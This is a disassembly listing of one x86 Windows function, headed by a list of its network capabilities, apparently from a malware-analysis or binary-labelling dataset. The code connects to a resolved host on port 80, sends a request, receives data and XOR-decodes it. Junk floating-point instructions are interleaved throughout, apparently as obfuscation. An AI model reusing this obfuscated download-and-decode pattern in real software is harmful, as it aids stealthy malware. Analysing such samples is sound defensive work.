Function at 0x408870
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c710
push 0xffffffffffffffff
push 0x41e64b
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x426020]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fstp qword [ebp - 0x40]
fldz
mov dword [ebp - 0x34], ebx
fst dword [ebp - 0x1c]
xor edx, edx
xor eax, eax
mov word [ebp - 0x28], dx
fst dword [ebp - 0x24]
mov word [ebp - 0x44], ax
fst dword [ebp - 0x30]
mov dword [ebp - 0x2c], ebx
fst dword [ebp - 0x38]
mov byte [ebp + 0x11bc], al
fstp dword [ebp - 0x1c]
mov eax, esi
mov byte [ebp - 4], 1
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408920
fld qword [0x423138]
mov ecx, dword [ebp - 0x2c]
add ecx, 0x4702d3b8
mov dword [ebp - 0x34], ecx
fild dword [ebp - 0x34]
sub eax, edx
mov edi, eax
fsubp st(1)
fstp qword [0x423138]
dec dword [ebp - 0x2c]
cmp edi, 0x7f
jg 0x409044
xor eax, eax
cmp eax, edi
jg 0x40898d
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x40898a
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x40898d
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x408973
inc eax
jmp 0x408956
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408996
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089b0
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x4089ce
cmp dword [ebp + 0x1b8], 0x10
jmp 0x409033
mov eax, edi
mov edx, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089d2
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4089e2
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425e80
rep movsb byte es:[edi], byte [esi]
call fcn.00401450
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a10
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407c60
dec word [0x4232b0]
fld dword [0x425e1c]
mov cx, word [0x4232b0]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
faddp st(1)
fsub dword [ebp - 0x1c]
fcomp qword [0x41f950]
fnstsw ax
fld dword [0x425e1c]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [0x425e1c]
test ah, 1
jne 0x408a92
fld dword [0x423e8c]
fsub dword [0x423e8c]
fstp dword [ebp - 0x24]
fld dword [0x423e8c]
fsub st(1)
fstp dword [0x423e8c]
fadd dword [0x423e8c]
fstp dword [0x423e8c]
jmp 0x408a94
fstp st(0)
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
fstp qword [ebp - 0x18]
push esi
mov byte [esi + 4], al
call fcn.0040b1cb
fld qword [0x4231b0]
fadd qword [0x425e78]
lea eax, [ebp + 0x11bc]
fld dword [ebp - 0x38]
add esp, 4
faddp st(1)
lea edx, [eax + 1]
fsubr dword [ebp - 0x24]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x38]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x38]
fadd qword [0x4231b0]
fstp qword [0x4231b0]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ae4
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00407eb0
push 0x32
push 0x425a7c
call fcn.00401450
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b14
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407eb0
fldz
push 0x32
push ebx
mov dword [ebp - 0x14], ebx
fstp qword [ebp - 0x18]
push esi
call fcn.0040b830
push esi
call fcn.0040b1cb
fld qword [ebp - 0x40]
fsub qword [0x41f948]
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
fsub qword [0x424e78]
fmul dword [ebp - 0x24]
fstp dword [ebp - 0x24]
fld qword [ebp - 0x40]
fsub qword [0x41f370]
fstp qword [ebp - 0x40]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b70
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00407eb0
push 5
push 0x423878
call fcn.00401450
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ba0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407eb0
fldz
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
fstp qword [ebp - 0x18]
push esi
mov byte [esi + 4], al
call fcn.0040b1cb
add esp, 4
lea edx, [ebp]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408bec
cmp dword [ebp + 0x1b8], 0x10
jmp 0x409033
push 6
mov edi, 1
push edi
push 2
call sub.WS2_32.dll_socket
mov ecx, dword [0x42330c]
sub ecx, 0x291cb81e
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
mov esi, eax
mov dword [ebp - 0x34], esi
fstp dword [ebp - 0x1c]
cmp esi, 0xffffffff
jne 0x408c43
call sub.WS2_32.dll_WSACleanup
add dword [0x424294], edi
mov edx, dword [0x424294]
add edx, dword [0x425e28]
cmp dword [ebp + 0x1b8], 0x10
mov dword [0x425e28], edx
jmp 0x409033
mov cx, word [ebp - 0x28]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub dword [0x42329c]
fstp dword [0x425efc]
dec dword [ebp - 0x28]
cmp dword [ebp + 0x1458], ebx
je 0x408c99
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
add dword [ebp - 0x28], edi
mov cx, word [ebp - 0x28]
movsx edx, cx
add edx, 0x76d112c1
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fstp qword [ebp - 0x40]
fld qword [0x41f940]
lea eax, [ebp + 0x13bc]
push eax
fstp qword [0x425e38]
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x408cce
cmp dword [ebp + 0x1b8], 0x10
jb 0x409044
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x40903c
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp + 0x194], eax
mov eax, dword [0x425e14]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [0x425a30]
mov ecx, dword [0x424294]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b410
mov dword [0x424294], eax
fld dword [0x425a30]
fadd qword [0x41f370]
push 0x50
fstp dword [0x425a30]
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x40902d
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408d6c
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
fld dword [ebp - 0x30]
fsub qword [0x41f938]
fstp dword [ebp - 0x30]
cmp eax, dword [ebp + 0x1b4]
jae 0x408da7
cmp dword [ebp + 0x1b8], edi
jb 0x409044
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x40903c
mov ecx, dword [ebp - 0x20]
push ebx
push 0x41f930
call fcn.00407c60
or edi, 0xffffffff
or ebx, edi
jmp 0x408dc2
fstp st(0)
mov ecx, dword [ebp - 0x34]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408fcb
mov ecx, dword [ebp - 0x20]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00407eb0
test edi, edi
jge 0x408f02
inc word [0x425ab0]
mov ax, word [0x425ab0]
movsx ecx, ax
cmp ecx, 0xc5a1f935
jne 0x408e23
fld dword [0x425df4]
fadd qword [0x41f928]
fadd dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
push 5
push 0x423878
call fcn.00401450
fld dword [ebp - 0x1c]
fsub qword [0x41f370]
add esp, 8
mov esi, eax
lea edx, [eax + 1]
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fadd qword [0x41f920]
fsub qword [0x41f918]
fmul dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408e58
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.00404690
fldz
mov edi, eax
xor eax, eax
mov dword [ebp - 0x14], eax
fstp qword [ebp - 0x18]
mov dword [esi], eax
push esi
mov byte [esi + 4], al
call fcn.0040b1cb
mov edx, dword [0x4231c0]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
add esp, 4
fstp dword [ebp - 0x1c]
test edi, edi
jl 0x408ef9
mov eax, dword [ebp - 0x20]
push eax
add edi, 4
call fcn.00406310
dec dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov ebx, eax
add esp, 4
lea eax, [edx + ecx - 0x6a9d8171]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], eax
test ebx, ebx
jge 0x408ef9
push 0xb
push 0x424e98
call fcn.00401450
mov ecx, dword [ebp - 0x20]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405090
push esi
push 0xb
mov ebx, eax
call fcn.00401730
add esp, 8
test ebx, ebx
jge 0x408fcb
mov ebx, dword [ebp - 0x14]
fld dword [0x41f910]
fstp dword [ebp - 0x38]
fld dword [ebp - 0x30]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x30]
fld dword [ebp - 0x30]
mov cx, word [ebp - 0x28]
fsubr qword [0x41f908]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b410
mov word [ebp - 0x28], ax
test ebx, ebx
jl 0x408f43
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408fc9
fld dword [ebp - 0x24]
fsubr qword [0x41f900]
fld dword [ebp - 0x30]
fadd qword [ebp - 0x40]
fsub qword [0x41f8f8]
fcompp
fnstsw ax
fld qword [ebp - 0x40]
fadd st(1)
fstp qword [ebp - 0x40]
test ah, 0x41
jne 0x408f7b
fld dword [0x425bc4]
fsub qword [0x41f8f0]
fstp dword [0x425bc4]
cmp dword [ebp + 0x1458], 0
je 0x408dc0
mov ecx, dword [0x425dfc]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsub dword [0x425af4]
mov dx, word [ebp - 0x44]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b410
mov ecx, dword [ebp - 0x20]
mov dword [0x423320], eax
inc dword [0x425dfc]
cmp dword [ecx + 0x14], 0x4000
jb 0x409069
fstp st(0)
mov edx, dword [ebp - 0x34]
push edx
call sub.WS2_32.dll_closesocket
fld dword [ebp - 0x24]
fstp dword [0x42324c]
fld dword [ebp - 0x24]
fsub qword [0x41f370]
fstp dword [ebp - 0x24]
call sub.WS2_32.dll_WSACleanup
mov esi, dword [ebp - 0x20]
test edi, edi
jl 0x408fff
push edi
push 0
mov ecx, esi
call fcn.00405000
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x40902d
xor eax, eax
cmp eax, dword [esi + 0x14]
jae 0x40902d
cmp dword [esi + 0x18], edi
jb 0x409023
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x409010
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x409010
cmp dword [ebp + 0x1b8], edi
jb 0x409044
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040adda
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b3f6
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
fld dword [0x425efc]
fadd st(1)
fstp dword [0x425efc]
fld qword [ebp - 0x40]
fsubr qword [0x41f8e8]
fsub dword [0x425efc]
fcomp qword [0x41f8e0]
fnstsw ax
test ah, 0x44
jnp 0x4090a4
mov ecx, dword [0x425e70]
dec dword [0x425e70]
jmp 0x408dc0
dec dword [0x425bb8]
fadd dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
mov edx, dword [0x425bb8]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub dword [ebp - 0x1c]
mov eax, dword [0x4237c4]
mov dword [ebp - 0x14], eax
fsub qword [0x41f8d8]
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b410
mov dword [0x4237c4], eax
jmp 0x408dc2